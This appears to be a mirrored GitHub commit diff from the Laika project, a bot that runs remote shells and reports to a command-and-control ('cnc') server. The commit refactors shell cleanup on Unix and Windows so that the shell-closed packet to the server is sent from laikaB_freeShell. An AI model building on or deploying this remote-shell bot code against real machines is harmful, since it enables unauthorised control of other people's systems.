mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Bot: Minor laikaB_freeShell refactoring
This commit is contained in:
parent
b60203d3f2
commit
231881c960
@ -49,6 +49,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
kill(shell->pid, SIGTERM);
|
||||
close(shell->fd);
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
bot->shell = NULL;
|
||||
laikaM_free(shell);
|
||||
|
||||
@ -73,11 +76,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
|
||||
return true; /* recoverable, there was no data to read */
|
||||
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
@ -97,11 +95,6 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
|
||||
/* some error occurred */
|
||||
if (length == nLeft) {
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
} else { /* recoverable */
|
||||
|
@ -114,14 +114,13 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
int i;
|
||||
|
||||
laikaP_cleanPList(&bot->pList);
|
||||
laikaS_freePeer(bot->peer);
|
||||
laikaT_cleanTaskService(&bot->tService);
|
||||
|
||||
/* clear shell */
|
||||
if (bot->shell)
|
||||
laikaB_freeShell(bot, bot->shell);
|
||||
|
||||
laikaP_cleanPList(&bot->pList);
|
||||
laikaS_freePeer(bot->peer);
|
||||
laikaT_cleanTaskService(&bot->tService);
|
||||
laikaM_free(bot);
|
||||
}
|
||||
|
||||
|
@ -146,6 +146,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
/* close pseudo console */
|
||||
ClosePseudoConsole(shell->pseudoCon);
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* free shell struct */
|
||||
laikaM_free(shell);
|
||||
bot->shell = NULL;
|
||||
@ -171,11 +174,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||
return true; /* recoverable, process is still alive */
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
@ -193,11 +191,6 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
|
||||
while (nLeft > 0) {
|
||||
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user